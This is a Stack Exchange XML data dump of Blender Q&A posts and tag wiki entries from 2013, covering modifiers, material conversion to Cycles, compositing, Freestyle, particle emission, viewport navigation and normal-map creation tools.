  <row Id="362" PostTypeId="1" AcceptedAnswerId="363" CreationDate="2013-05-26T02:17:23.497" Score="24" ViewCount="23580" Body="&lt;p&gt;I'm trying to make a roughened parchment-like material. I don't want to just use a texture, because I want to take a low-angle shot that lets me see the actual bumps in the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have the parchment represented using a single plane mesh. Is there a modifier I can use to deform the mesh in order to add roughness to it?&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2020-03-22T20:35:01.470" Title="How to add roughness to a surface using modifiers?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="363" PostTypeId="2" ParentId="362" CreationDate="2013-05-26T03:09:33.060" Score="20" Body="&lt;p&gt;Yes, though you'll probably want to use two for maximum effect; I recommend applying a &lt;em&gt;Subdivision surface modifier&lt;/em&gt; ('Simple', not 'Catmull-Clark'), and then applying a &lt;em&gt;Displace modifier&lt;/em&gt;. If your geometry is sufficiently complex it should work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Subdivision Surface modifier&lt;/em&gt; adds vertices to your mesh, then the &lt;em&gt;Displace modifier&lt;/em&gt; uses those vertices to add the roughness you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Before Modifiers&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WLSXA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;After Modifiers&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/biDIG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can, of course, use different settings for the Displace texture if you want to achieve different kinds of roughness.&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="25" LastEditDate="2013-05-29T16:05:53.710" LastActivityDate="2013-05-29T16:05:53.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="364" PostTypeId="1" AcceptedAnswerId="365" CreationDate="2013-05-26T04:17:29.807" Score="44" ViewCount="17682" Body="&lt;p&gt;I know this may be a tough or confusing question, but I have numerous existing materials I created and reuse for a project, which were all prepared for Blender Internal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to start the transition to Cycles, but I've hit a roadblock. How can I transition my materials without completely starting over? Or should I just forget it and start with fresh materials?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="72" LastEditDate="2014-12-12T21:32:50.613" LastActivityDate="2019-06-05T04:30:49.327" Title="How do I convert materials from Blender Internal to Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="365" PostTypeId="2" ParentId="364" CreationDate="2013-05-26T04:37:18.377" Score="35" Body="&lt;p&gt;The Python script at &lt;a href=&quot;https://blenderartists.org/forum/showthread.php?394600-Materials-Specials-amp-conversion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blenderartists.org/forum/showthread.php?394600-Materials-Specials-amp-conversion&lt;/a&gt; will automatically convert all of your materials and textures over so that they are compatible with Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script tries to make the Cycles materials look as much like the Blender-Internal materials as possible, but I imagine you'll still need some tweaking, because of the inherent differences between the two render engines.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="3292" LastEditDate="2017-11-02T22:33:10.300" LastActivityDate="2017-11-02T22:33:10.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="366" PostTypeId="1" AcceptedAnswerId="370" CreationDate="2013-05-26T08:49:53.100" Score="9" ViewCount="1476" Body="&lt;p&gt;I am using a &lt;code&gt;transparent&lt;/code&gt; alpha in the shading menu, while rendering my layers, so I can later composite them together. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Question is, is there something like a sky layer that would go on the bottom?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Possible fork of this question - 2. is there another way of compositing two layers on top of each other? Can I pull an alpha from a layer with the &lt;code&gt;transparent&lt;/code&gt; option off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ucjOM.jpg&quot; alt=&quot;ad question (1)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-05-27T18:24:36.923" Title="Can we render a sky layer with transparent layers?" Tags="&lt;blender-internal-render-engine&gt;&lt;compositor&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="367" PostTypeId="5" CreationDate="2013-05-26T08:55:45.800" Score="0" Body="&lt;p&gt;U and V refer to &lt;em&gt;texture-space coordinates&lt;/em&gt;, opposed to the usual X, Y and Z coordinates, which refer to &lt;em&gt;3D-space&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;UV mapping on the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/meshes/uv/index.html#uvs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/UV_mapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="15924" LastEditDate="2020-10-29T00:42:05.260" LastActivityDate="2020-10-29T00:42:05.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="368" PostTypeId="4" CreationDate="2013-05-26T08:55:45.800" Score="0" Body="UV mapping is the process of taking a three-dimensional mesh (X, Y and Z coordinates) and unwrapping it to a flat two-dimensional image (U and V coordinates), in order to texture the 3D model with 2D images. Use this tag for questions pertaining to UV's and UV mapping." OwnerUserId="29" LastEditorUserId="15924" LastEditDate="2020-10-29T00:42:00.383" LastActivityDate="2020-10-29T00:42:00.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="370" PostTypeId="2" ParentId="366" CreationDate="2013-05-26T10:25:52.057" Score="7" Body="&lt;p&gt;The easiest solution to this is to do a third render without any visible objects and Alpha set to Sky in the shading properties in the render menu. Once that's done, alpha over your sky background just like you have done already between the two scenes.&lt;img src=&quot;https://i.stack.imgur.com/SOZAs.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="102" LastActivityDate="2013-05-26T10:25:52.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="371" PostTypeId="2" ParentId="356" CreationDate="2013-05-26T10:34:57.193" Score="10" Body="&lt;p&gt;Short answer - no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this may help...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I assume that you may have a view rotation that took some time to setup, if this is the case you could...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add an empty, Enable &lt;em&gt;Align to View&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then use '&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;/&lt;kbd&gt;3&lt;/kbd&gt;/&lt;kbd&gt;7&lt;/kbd&gt;' to change the views aligned to the active object.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Quad view allows you to lock/unlock the view rotation.&#xA;This is intended so you can maintain top/front/side views with one user view, but theres nothing stopping you setting up the rotation you want, then locking the view.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you really want to do this with a script by writing an operator that intercepts view rotate and makes the choice to run or not, but I wouldn't recommend doing this since its fairly involved for such a small change.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2013-10-03T01:38:46.093" LastActivityDate="2013-10-03T01:38:46.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="372" PostTypeId="2" ParentId="302" CreationDate="2013-05-26T16:15:46.690" Score="1" Body="&lt;p&gt;You can also use the Python lib2to3 package to automatically convert code directly from Python 2.x to Python 3.x. That way, it is possible to write your code in 2.x, then convert it to a format Blender understands (3.x).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This package comes installed with newer forms of Python under the Tools/scripts directory. You can use it to convert a single file by typing &lt;code&gt;$ 2to3 example.py&lt;/code&gt; at the command prompt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a variety of different options built in with this package to make this a quite powerful package. It is described in full, glorious detail at &lt;a href=&quot;http://docs.python.org/2/library/2to3.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.python.org/2/library/2to3.html&lt;/a&gt;, for those who are interested in learning more.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-05-26T16:15:46.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="373" PostTypeId="1" AcceptedAnswerId="383" CreationDate="2013-05-26T19:11:35.877" Score="12" ViewCount="3971" Body="&lt;p&gt;Is it possible to draw a line between intersecting objects? With my current setup, it won't draw anything between them.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="25" LastEditDate="2013-05-27T21:36:47.713" LastActivityDate="2016-02-14T08:55:14.413" Title="How to draw line between intersecting meshes in Freestyle?" Tags="&lt;mesh&gt;&lt;freestyle&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="375" PostTypeId="5" CreationDate="2013-05-26T19:18:40.060" Score="0" Body="&lt;p&gt;Blenders wiki pages on User Preferences:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Interface&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Interface&lt;/a&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Editing&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Editing&lt;/a&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Input&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Input&lt;/a&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Addons&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Addons&lt;/a&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Themes&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Themes&lt;/a&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/File&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/File&lt;/a&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/System&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/System&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-30T15:17:40.867" LastActivityDate="2013-05-30T15:17:40.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="376" PostTypeId="4" CreationDate="2013-05-26T19:18:40.060" Score="0" Body="Questions pertaining to Blender's user preferences. Anything from keyboard shortcuts to Blender's system settings are acceptable." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-30T15:17:44.443" LastActivityDate="2013-05-30T15:17:44.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="377" PostTypeId="5" CreationDate="2013-05-26T19:22:32.060" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-26T19:22:32.060" LastActivityDate="2013-05-26T19:22:32.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="378" PostTypeId="4" CreationDate="2013-05-26T19:22:32.060" Score="0" Body="Questions pertaining to measurements in Blender. Real measurements as well as Blender units are acceptable." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-27T15:30:42.347" LastActivityDate="2013-05-27T15:30:42.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="379" PostTypeId="5" CreationDate="2013-05-26T19:32:45.443" Score="0" Body="&lt;p&gt;The Compositor at The &lt;a href=&quot;https://docs.blender.org/manual/en/dev/compositing/index.html#compositing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T11:25:45.510" LastActivityDate="2020-10-20T11:25:45.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="380" PostTypeId="4" CreationDate="2013-05-26T19:32:45.443" Score="0" Body="Questions pertaining to Blenders internal image compositor. &#xD;&#xA;The compositor is used for manipulating the final result after rendering." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-06-28T03:30:14.563" LastActivityDate="2013-06-28T03:30:14.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="381" PostTypeId="5" CreationDate="2013-05-26T19:36:02.893" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-26T19:36:02.893" LastActivityDate="2013-05-26T19:36:02.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="382" PostTypeId="4" CreationDate="2013-05-26T19:36:02.893" Score="0" Body="Questions pertaining to python scripts written for Blender add ons, freestyle modules or Blender game scripts." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-27T18:39:22.523" LastActivityDate="2013-05-27T18:39:22.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="383" PostTypeId="2" ParentId="373" CreationDate="2013-05-26T20:20:49.337" Score="10" Body="&lt;p&gt;As of 2.76, blender freestyle still does not detect edges at intersections, see &lt;a href=&quot;https://www.blender.org/manual/render/freestyle/introduction.html#known-limitations&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No edges at face intersection are detected yet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A workaround is to create some extra edge (small face, invisible in the final render) on top of the actual intersection. It's not clean, but it somehow works. (note that the edge in the image below is a bit exaggerated. It can be much more subtle.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iFYBa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depends on what you want to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea is to use the internal edge capability of Blender via Render-&gt;Post Processing-&gt;Edge. If you're rendering out a still image, you can then mask out areas with edges you don't want in the compositor, later.&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2016-02-14T08:55:14.413" LastActivityDate="2016-02-14T08:55:14.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="384" PostTypeId="1" AcceptedAnswerId="385" CreationDate="2013-05-26T21:16:04.967" Score="21" ViewCount="7095" Body="&lt;p&gt;Is there a way to animate whether or not a particle emitter is emitting particles at a given point in time?  I'm using the particle system to animate bullets, so basically I'm trying to find a way to say: at frame 150 the gun fires a burst until frame 170, at frame 240 it fires a burst until frame 265, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried key framing the particle render setting between &quot;object&quot; and &quot;none&quot;, but the problem with that is that the hidden particles are still there, so when the render setting switches to &quot;object&quot;, the particles that were initially hidden suddenly appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also thought of putting a plane (not rendered) with a collision modifier in front of the emitter and then moving it when I want the emitter to start emitting particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="220" LastEditDate="2013-05-30T13:10:29.643" LastActivityDate="2018-09-11T13:02:31.023" Title="How to turn particle emission on/off?" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="385" PostTypeId="2" ParentId="384" CreationDate="2013-05-27T02:24:04.087" Score="15" Body="&lt;p&gt;The simplest way to handle this is to add a keyframe for the particle lifetime. To make the particles stop emitting, set the lifetime to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have very fast-moving particles (such as bullets), you will also need to keyframe the initial velocity down to zero.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-05-30T00:06:21.240" LastActivityDate="2013-05-30T00:06:21.240" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="386" PostTypeId="1" AcceptedAnswerId="551" CreationDate="2013-05-27T03:51:31.480" Score="18" ViewCount="41241" Body="&lt;p&gt;The shortcut I have always used to center my view is &lt;kbd&gt;Shift&lt;/kbd&gt; +&lt;kbd&gt;C&lt;/kbd&gt;, then &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Home&lt;/kbd&gt;. This moves the 3D cursor to the origin, then centers the view on the 3D cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in some situations, I want to center the view at the origin without affecting the location of the 3D cursor, which I have set for rotation purposes, etc. Is there a different shortcut I can use instead?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="599" LastEditDate="2013-09-14T16:54:14.650" LastActivityDate="2018-04-17T16:17:14.400" Title="How do I center the view at the origin without moving the 3D cursor?" Tags="&lt;workflow&gt;&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="387" PostTypeId="2" ParentId="386" CreationDate="2013-05-27T04:35:02.900" Score="14" Body="&lt;p&gt;This is not the ideal way if there is a built in function, but you could do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Create an empty at the cursors postion&lt;/strong&gt;. &amp;nbsp; You can do this with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&lt;kbd&gt;Empty&lt;/kbd&gt;&lt;kbd&gt;Plain Axes&lt;/kbd&gt;&lt;/em&gt;. (Or really anything in the Empty menu, such as Box or Circle.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Snap the cursor to the origin.&lt;/strong&gt;&amp;nbsp; &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Center view to cursor.&lt;/strong&gt;&amp;nbsp; &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Home&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Select the empty you made and snap the cursor to the selection.&lt;/strong&gt;&amp;nbsp; &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; and then &lt;em&gt;&lt;kbd&gt;Snap to Selected&lt;/kbd&gt;&lt;/em&gt; in the menu.&#xA;&lt;br&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alternatively, &lt;em&gt;(based off of Jonathan's answer)&lt;/em&gt;, you could: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Add an empty at the origin.&lt;/strong&gt;&amp;nbsp; &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&lt;kbd&gt;Empty&lt;/kbd&gt;&lt;kbd&gt;Plain Axes&lt;/kbd&gt;&lt;/em&gt;, then set the location to &lt;code&gt;0,0,0&lt;/code&gt; in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Undo_and_Redo#Redo_Last&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;redo menu&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;F6&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Center view to the Empty.&lt;/strong&gt;&amp;nbsp; &lt;kbd&gt;.&lt;/kbd&gt; &lt;em&gt;(on the numpad.)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This second method is a lot faster and you only have to add an empty once, but the first one does help if you accidentally move the cursor position. &lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="599" LastEditDate="2013-09-14T17:08:36.617" LastActivityDate="2013-09-14T17:08:36.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="388" PostTypeId="1" AcceptedAnswerId="389" CreationDate="2013-05-27T04:53:40.683" Score="10" ViewCount="4490" Body="&lt;p&gt;I have noticed when trying to make a mirror in Blender that it does not reflect light onto other objects properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it seems that setting the IOR (Index of Refraction) for transparent objects does not effect light either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get reflection or refraction effects in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gITsd.png&quot; alt=&quot;Trying to reflect and refract in blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="25" LastEditDate="2013-05-27T16:01:31.343" LastActivityDate="2018-02-27T21:17:21.783" Title="Light reflection and refraction in Blender Internal?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="389" PostTypeId="2" ParentId="388" CreationDate="2013-05-27T05:02:55.063" Score="11" Body="&lt;p&gt;You need to use a ray-tracing render engine. Blender's internal render system has a ray-tracer, but it doesn't have the ability to reflect or refract light beams. You could possibly use &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.61/Cycles&quot; rel=&quot;nofollow&quot;&gt;Cycles&lt;/a&gt; for this.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="3127" LastEditDate="2014-07-23T00:37:28.893" LastActivityDate="2014-07-23T00:37:28.893" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="390" PostTypeId="1" AcceptedAnswerId="392" CreationDate="2013-05-27T07:07:25.467" Score="28" ViewCount="45365" Body="&lt;p&gt;In order to make a rendering look more realistic some additional maps are useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures&quot;&gt;documentation&lt;/a&gt; lists: diffuse,specular displacement-maps .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I watched a video &lt;a href=&quot;http://www.blenderguru.com/videos/the-secrets-of-realistic-texturing/&quot;&gt;tutorial The Secrets of Realistic Texturing&lt;/a&gt; which uses a commercial tool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any alternatives to calculate normal and displacement maps from an image texture, or can this also be achieved by some build-in transformations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: As requested, this is related to image-textures that have been downloaded from a site like &lt;a href=&quot;http://www.cgtextures.com/&quot;&gt;cgtextures&lt;/a&gt; which are image-only and lack of normal- and displacement-maps.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-05-28T05:06:43.710" LastActivityDate="2018-03-08T09:27:47.900" Title="How do I make a normal/displacement map when all I have is a photo?" Tags="&lt;texturing&gt;" AnswerCount="7" CommentCount="3" FavoriteCount="30" ContentLicense="CC BY-SA 3.0" />
  <row Id="392" PostTypeId="2" ParentId="390" CreationDate="2013-05-27T11:42:46.863" Score="42" Body="&lt;p&gt;I've compiled a list of options when it comes to normal and bump map creation. All that remains is to try few of these out and see which results you like best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, the most advanced of the free solutions is &lt;a href=&quot;http://www.mapzoneeditor.com/&quot;&gt;MaPZone 2.6&lt;/a&gt;, but I haven't tried any of these so I am not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can try the web based &lt;a href=&quot;http://www.smart-page.net/smartnormal/&quot;&gt;Smart Normal&lt;/a&gt;, for very basic normal maps generation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another tool is  &lt;a href=&quot;https://www.knaldtech.com/&quot;&gt;Knald&lt;/a&gt; which offers high quality, accurate height maps generated from a Normal/Derivative or photo-sourced texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't include urls, since they can be easily googled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BKQpY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-08-08T07:56:35.013" LastActivityDate="2013-08-08T07:56:35.013" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="393" PostTypeId="2" ParentId="353" CreationDate="2013-05-27T14:10:16.757" Score="14" Body="&lt;p&gt;You can also add an Empty and place it where you would like the mirror to be, then set the &lt;em&gt;mirror object&lt;/em&gt; variable to that empty. But keep in mind it is convenient to use the origin as a mirror point for most simple mirror behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I coded an &lt;a href=&quot;https://github.com/zeffii/rawr/blob/master/blender/scripts/addons_contrib/mesh_place_empty/__init__.py&quot;&gt;'add empty at selected vertex'&lt;/a&gt; script a while back, it's pretty handy.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2013-05-27T14:10:16.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="394" PostTypeId="5" CreationDate="2013-05-27T16:14:18.773" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-27T16:14:18.773" LastActivityDate="2013-05-27T16:14:18.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="395" PostTypeId="4" CreationDate="2013-05-27T16:14:18.773" Score="0" Body="Questions relating to graphicall.org, a website that allows you to download custom builds of Blender." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-27T18:39:13.113" LastActivityDate="2013-05-27T18:39:13.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="396" PostTypeId="2" ParentId="366" CreationDate="2013-05-27T18:24:36.923" Score="3" Body="&lt;p&gt;You could load in a background image(with the image node) from a separate file to mix in.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/60K8s.png&quot; alt=&quot;mix in a background image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the alpha over node to put the image behind(you then have a little more control over premultiply):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3Ebce.png&quot; alt=&quot;alpha over&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-27T18:24:36.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="397" PostTypeId="2" ParentId="386" CreationDate="2013-05-27T18:30:49.933" Score="7" Body="&lt;p&gt;If you want to center the view to the current selection then you can use &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;. This will center the view and zoom to the current selection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However this will not work if you do not have a selected object.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="12" LastEditDate="2013-05-30T03:00:43.173" LastActivityDate="2013-05-30T03:00:43.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="398" PostTypeId="5" CreationDate="2013-05-27T18:34:36.947" Score="0" Body="&lt;p&gt;An armature in Blender can be thought of as similar to the armature of a real skeleton, and just like a real skeleton an armature can consist of many bones. These bones can be moved around and anything that they are attached to or associated with will move and deform in a similar way.&lt;/p&gt;&#xA;&lt;p&gt;An “armature” is a type of object used for rigging. A rig is the controls and strings that move a marionette (puppet). Armature object borrows many ideas from real-world skeletons.&lt;/p&gt;&#xA;&lt;p&gt;Armatures at The &lt;a href=&quot;https://docs.blender.org/manual/en/dev/animation/armatures/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T12:40:52.143" LastActivityDate="2020-10-20T12:40:52.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
